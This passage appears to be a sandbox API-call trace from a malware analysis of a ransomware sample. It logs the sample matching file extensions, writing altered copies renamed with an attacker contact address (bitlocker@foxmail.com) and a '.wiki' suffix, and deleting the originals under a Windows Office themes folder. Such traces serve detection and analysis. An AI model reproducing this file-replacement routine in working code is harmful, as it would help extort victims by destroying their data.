lstrlenW (lpString=".7z") returned 3 [0053.941] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.942] lstrlenW (lpString=".dbf") returned 4 [0053.942] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.942] lstrlenW (lpString=".1cd") returned 4 [0053.942] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.942] lstrlenW (lpString=".jpg") returned 4 [0053.942] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.942] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0053.942] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.942] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1439) returned 1 [0053.942] CloseHandle (hObject=0x20c) returned 1 [0053.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0053.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.943] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.943] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.286] GetLastError () returned 0x0 [0054.286] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x59f, lpOverlapped=0x0) returned 1 [0054.288] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0054.288] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.288] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.289] SetEndOfFile (hFile=0x1f0) returned 1 [0054.289] CloseHandle (hObject=0x1f0) returned 1 [0054.289] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.289] SetEndOfFile (hFile=0x20c) returned 1 [0054.290] CloseHandle (hObject=0x20c) returned 1 [0054.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.290] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0054.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.290] lstrlenW (lpString=".doc") returned 4 [0054.290] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.290] lstrlenW (lpString=".docx") returned 5 [0054.290] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.290] lstrlenW (lpString=".pdf") returned 4 [0054.290] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.291] lstrlenW (lpString=".xls") returned 4 [0054.291] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.291] lstrlenW (lpString=".xlsx") returned 5 [0054.291] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.291] lstrlenW (lpString=".ppt") returned 4 [0054.291] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.291] lstrlenW (lpString=".zip") returned 4 [0054.291] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.291] lstrlenW (lpString=".rar") returned 4 [0054.291] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.291] lstrlenW (lpString=".bz2") returned 4 [0054.291] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.291] lstrlenW (lpString=".7z") returned 3 [0054.291] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.291] lstrlenW (lpString=".dbf") returned 4 [0054.291] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.291] lstrlenW (lpString=".1cd") returned 4 [0054.291] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.291] lstrlenW (lpString=".jpg") returned 4 [0054.291] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.291] lstrlenW (lpString=".doc") returned 4 [0054.291] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.291] lstrlenW (lpString=".docx") returned 5 [0054.291] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.291] lstrlenW (lpString=".pdf") returned 4 [0054.291] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.291] lstrlenW (lpString=".xls") returned 4 [0054.292] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.292] lstrlenW (lpString=".xlsx") returned 5 [0054.292] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.292] lstrlenW (lpString=".ppt") returned 4 [0054.292] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.292] lstrlenW (lpString=".zip") returned 4 [0054.292] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.292] lstrlenW (lpString=".rar") returned 4 [0054.292] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.292] lstrlenW (lpString=".bz2") returned 4 [0054.292] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.292] lstrlenW (lpString=".7z") returned 3 [0054.292] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.292] lstrlenW (lpString=".dbf") returned 4 [0054.292] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.292] lstrlenW (lpString=".1cd") returned 4 [0054.292] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.292] lstrlenW (lpString=".jpg") returned 4 [0054.292] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.292] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.292] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.293] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3611) returned 1 [0054.293] CloseHandle (hObject=0x20c) returned 1 [0054.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0054.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.293] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.293] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.295] GetLastError () returned 0x0 [0054.295] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0054.296] WriteFile (in: hFile=0x180, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0054.297] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.297] WriteFile (in: hFile=0x180, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.297] SetEndOfFile (hFile=0x180) returned 1 [0054.297] CloseHandle (hObject=0x180) returned 1 [0054.298] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.298] SetEndOfFile (hFile=0x20c) returned 1 [0054.298] CloseHandle (hObject=0x20c) returned 1 [0054.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.299] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0054.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.299] lstrlenW (lpString=".doc") returned 4 [0054.299] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.299] lstrlenW (lpString=".docx") returned 5 [0054.299] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.299] lstrlenW (lpString=".pdf") returned 4 [0054.299] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.299] lstrlenW (lpString=".xls") returned 4 [0054.299] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.299] lstrlenW (lpString=".xlsx") returned 5 [0054.299] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.299] lstrlenW (lpString=".ppt") returned 4 [0054.299] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.299] lstrlenW (lpString=".zip") returned 4 [0054.299] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.299] lstrlenW (lpString=".rar") returned 4 [0054.299] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.299] lstrlenW (lpString=".bz2") returned 4 [0054.299] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.299] lstrlenW (lpString=".7z") returned 3 [0054.299] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.299] lstrlenW (lpString=".dbf") returned 4 [0054.299] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.300] lstrlenW (lpString=".1cd") returned 4 [0054.300] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.300] lstrlenW (lpString=".jpg") returned 4 [0054.300] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.300] lstrlenW (lpString=".doc") returned 4 [0054.300] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.300] lstrlenW (lpString=".docx") returned 5 [0054.300] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.300] lstrlenW (lpString=".pdf") returned 4 [0054.300] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.300] lstrlenW (lpString=".xls") returned 4 [0054.300] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.300] lstrlenW (lpString=".xlsx") returned 5 [0054.300] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.300] lstrlenW (lpString=".ppt") returned 4 [0054.300] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.300] lstrlenW (lpString=".zip") returned 4 [0054.300] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.300] lstrlenW (lpString=".rar") returned 4 [0054.300] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.300] lstrlenW (lpString=".bz2") returned 4 [0054.300] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.300] lstrlenW (lpString=".7z") returned 3 [0054.300] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.300] lstrlenW (lpString=".dbf") returned 4 [0054.300] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.300] lstrlenW (lpString=".1cd") returned 4 [0054.300] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0054.301] lstrlenW (lpString=".jpg") returned 4 [0054.301] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.301] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.301] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.301] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=34163) returned 1 [0054.301] CloseHandle (hObject=0x20c) returned 1 [0054.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0054.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.301] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.301] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.302] GetLastError () returned 0x0 [0054.302] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x8573, lpOverlapped=0x0) returned 1 [0054.305] WriteFile (in: hFile=0x180, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0054.306] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.306] WriteFile (in: hFile=0x180, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.306] SetEndOfFile (hFile=0x180) returned 1 [0054.306] CloseHandle (hObject=0x180) returned 1 [0054.307] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.307] SetEndOfFile (hFile=0x20c) returned 1 [0054.307] CloseHandle (hObject=0x20c) returned 1 [0054.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.308] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0054.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.308] lstrlenW (lpString=".doc") returned 4 [0054.308] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.308] lstrlenW (lpString=".docx") returned 5 [0054.308] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.308] lstrlenW (lpString=".pdf") returned 4 [0054.308] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.308] lstrlenW (lpString=".xls") returned 4 [0054.308] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.308] lstrlenW (lpString=".xlsx") returned 5 [0054.308] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.308] lstrlenW (lpString=".ppt") returned 4 [0054.308] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.308] lstrlenW (lpString=".zip") returned 4 [0054.308] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.308] lstrlenW (lpString=".rar") returned 4 [0054.308] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.308] lstrlenW (lpString=".bz2") returned 4 [0054.308] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.308] lstrlenW (lpString=".7z") returned 3 [0054.309] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.309] lstrlenW (lpString=".dbf") returned 4 [0054.309] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.309] lstrlenW (lpString=".1cd") returned 4 [0054.309] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.309] lstrlenW (lpString=".jpg") returned 4 [0054.309] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.309] lstrlenW (lpString=".doc") returned 4 [0054.309] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.309] lstrlenW (lpString=".docx") returned 5 [0054.309] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.309] lstrlenW (lpString=".pdf") returned 4 [0054.309] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.309] lstrlenW (lpString=".xls") returned 4 [0054.309] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.309] lstrlenW (lpString=".xlsx") returned 5 [0054.309] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.309] lstrlenW (lpString=".ppt") returned 4 [0054.309] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.309] lstrlenW (lpString=".zip") returned 4 [0054.309] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.309] lstrlenW (lpString=".rar") returned 4 [0054.309] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.309] lstrlenW (lpString=".bz2") returned 4 [0054.309] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.309] lstrlenW (lpString=".7z") returned 3 [0054.309] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 